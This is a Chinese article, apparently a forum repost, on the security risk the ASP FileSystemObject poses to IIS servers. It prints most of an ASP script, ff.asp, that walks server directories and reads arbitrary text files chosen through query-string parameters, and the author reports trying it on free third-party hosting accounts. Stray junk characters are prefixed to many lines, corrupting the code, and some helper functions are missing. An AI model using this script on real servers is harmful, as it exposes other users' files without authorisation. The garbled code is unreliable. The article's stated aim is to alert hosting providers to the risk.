ASP中FSO对象对IIS WEB服务器数据安全的威胁及对策

1 S& G6 I- M" U& U
scripting.filesystemobject 对象是由 scrrun.dll 提供的许多供 vbscript/jscript 控制的 com 对象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目录的访问，但是同时也对 iis web 服务器数据安全造成了一定的威胁。

. q: I3 f! D, B; s$ C( P6 j9 ffilefinder 的代码很简单，由3 个函数和 30 行左右的顺序代码构成。
$ B  `4 Z. I, b
9 q; J! J8 q( P8 _$ [8 Y5 `% \6 h9 }最关键的是 findfiles 函数，通过对它的递归调用实现对某个目录的遍历，并且按照特定的文件扩展名来搜寻这些文件。

( T$ g% j. B  m4 T, C3 P, G0 A* r
function findfiles(strstartfolder, strext)

dim n

2 |: W6 Z9 K( W9 E: N  T9 p: D1 jdim othisfolder

8 ^7 {: Y7 q& t9 l6 ^* @dim ofolders
# b: l3 D5 H( ~( R  L! V, c8 c6 m
dim ofiles

dim ofolder
% {( l6 ~+ K$ }
! B7 S) @( u" |+ `5 Idim ofile
4 T+ `2 p5 M8 p% D3 n& s
( b* e  L2 V: _& n! y
8 d  l5 e1 w0 D7 F/ J; s' 如果系统管理员对文件系统的权限进行细致的设置话，下面的代码就要出错
! a5 w" o+ q/ ?. L$ k
' 但是有些目录还是可以察看的，所以我们简单的把错误忽略过去
- a1 z7 \2 r6 f0 o2 b) o
9 H& ]9 ^3 K9 J: r' ~on error resume next
7 M7 G6 R% Q9 V' f/ x5 R0 X" }
n = 0
' w- t; r5 G* r( K) O" a" Y- M- Q
response.write "<b>searching " & strstartfolder & "</b><br>"
) T( x2 E/ B8 A9 L0 w
set othisfolder = g_fs.getfolder(strstartfolder)
6 l  A" t- I& m7 d  H
set ofiles = othisfolder.files
3 ^6 C  Q( u9 h2 p& c4 c9 H
for each ofile in ofiles
( G- F" K; C3 U, o! h8 G
' 如果是指定的文件扩展名，输出连接导向本身，但用不同的命令 cmd
6 \! X- q9 F/ `
' 在这里是 cmd=read，即读出指定物理路径的文本文件

* q/ V5 |+ r1 A* H( z: Gif issuffix(ofile.path, strext) then

' g) r! o- ]4 @  Kresponse.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>"

& r. z1 p; J7 k, Q7 ^if err = 0 then
* q; _' S0 Z+ k$ v, X0 ?$ ]
n = n + 1

end if

7 [' z( X: K% Z( X, gend if

  ~1 A* G4 S6 R/ x7 r- I7 _# qnext
2 W2 r1 w6 B* n* {5 l  F; A
6 u- I  M' e' \2 Gset ofolders = othisfolder.subfolders
9 G# D# \  D7 x* d
  f0 t2 j1 a& P  g* I/ v# c" l6 B  yfor each ofolder in ofolders
' ?8 o6 N' c2 N& F% `9 b5 \5 x
n = n + findfiles(ofolder.path, strext)

next

' w4 k% o7 M9 bfindfiles = n
$ [" h  O; D& S' @3 r0 k( S1 n
end function
4 N0 t; U, `% D/ A) C
下面的代码是对 url 后面的参数进行分析：

! ~3 i  t& y& K8 `
' 读出各个参数的值

) |2 K8 g# G% J7 O! H& a7 P9 t. jstrcmd = ucase(request.querystring("cmd"))
& X/ `: R+ Q3 R4 u/ o  h
6 }+ Z! b9 R3 _5 @$ ostrpath = request.querystring("path")
* H, h0 Q" O7 F+ l' v
strext = request.querystring("ext")
$ X+ H7 X. E# r  F' }
brawdata = ucase(request.querystring("raw"))
4 N4 E3 k1 H- \
' 默认搜索 .asp 文件

: g- M6 |" h, M4 r- P0 f1 i$ m# w9 }if strpath = "" then
- R& j3 X6 k$ V6 p* E
strpath = "."
4 s: f  Q- u! ^, o
: U5 I/ E0 `! `end if
& f4 x  C& Q7 M
if strext = "" then
& {& D4 Z- |% s* d" f$ I
1 R! h& P$ n" h/ p1 ystrext = ".asp"
, v3 Y1 H& h, ?" @4 U
4 z7 w' p, b3 I) Send if
6 ]: e" B5 c3 W, A4 i
& S; m$ ~0 @2 J6 T4 d" U' X3 x7 T6 q
  H, B+ x) Q/ E( A' 根据不同的命令 cmd 执行不同的代码

select case strcmd

case "find"
( a7 i& O  B& [. ~/ c" g0 C
7 g' m# E, Q1 E' f3 r& Uresponse.write findfiles(strpath, strext) & " file(s) found"
9 {( J/ }, x2 `' [- [
case "read"

if brawdata = "t" then

response.write readtextfile(strpath)

+ l) R# R4 q( W, N, A9 zelse

- H+ E$ ?. p6 d! Tresponse.write "<pre>" & server.htmlencode(readtextfile(strpath)) & "</pre>"

) g& b( D+ M% o3 J- eend if
8 @  [; W8 g5 j! s% i
2 C/ T7 L* j4 j# N1 y  J( Zcase else
- b6 t" A3 Q; T& H7 E/ O
response.write "<h3>please specify a command to execute</h3>"

8 |. j% {$ o; q) W/ t+ ~7 Zend select
9 r- b. F3 g+ S" X0 V2 {- b
从上面的分析可以看出，如果有足够的权限的话，我们就可以通过 filefinder 来查找 iis web 服务器上的任意文本文件，并且可以轻松的察看文件内容。对于非文本文件，可以确定他们是否存在及其所在路径，这对于高级 hacker 们来说，这些信息有时是极其重要的。

但是这些对数据安全的威胁的前提条件是执行 ff.asp 的用户至少拥有读取目录和文件的权限。由于 windows nt server 在安装后的默认安全设置是所有用户都可以“读取”目录和文件，所以不管是 iis 默认的你名用户 iusr_servername 还是别的什么用户，都可以顺列的读取目录和文件的信息。而大多数 windows nt server系统管理员主要关心系统是否能够运行的起来，一般不愿意去改动默认的目录和文件权限，毕竟那样做要冒很大的风险，而且需要很多次得经验。所以，我们可以用 filefinder 来检查作为 web 服务器的 nt server 的文件系统的安全设置是否安全。

; J9 ?* ^% f& M+ [$ I* a+ c5 q作者专门对作为 iis web 服务器的文件系统的权限进行了人工设置，但限于没有经验，导致了许多奇怪的错误现象，如：所用的做实验的 nt server 4.0 不能进行 access 数据库的连接。而在进行文件系统权限改动之前，这些功能是正常的。
) R& t3 m+ z0 ]1 x
% C+ d9 @: B; t$ H5 A3 t6 Q本着纯粹研究的目的，作者还在我所申请的免费 asp 空间上作了试验（包括 csdn 提供的我的个人主页），结果是 filefinder 都可以顺利运行。而在http://www2.domaindlx.com/index.html 申请的个人主页却没有这个问题，可见这个免费 asp 主页提供商在这方面做的还是比较认真的。尽管 domaindlx 的 web 服务器运行在 windows 2000 server 上的，其默认的文件系统的安全权限和 nt 4.0 没有很大的差别。
' `. e: {* Q, _: f0 a
9 u, M# F+ ?6 }! v6 V+ t+ G2 ~由于作者的能力有限，就对这个问题讨论到这里。仅以此文来向国内的 asp 主页提供商提供参考意见，希望能对提供商和客户双方的数据安全都有所帮助。
# M! q# {# ~. t' f& |% U3 j  j
& _) w  g# K3 ~! Z. u" b8 r附：用其它类似的服务器端脚本来运行的 web 服务，如果也提供类似 scripting.filesystemobject 的对文件系统操作的功能，不管什么平台应该存在同样的问题。

; ^; \. o9 U& g  ]; ?) v) \( G

看不懂啊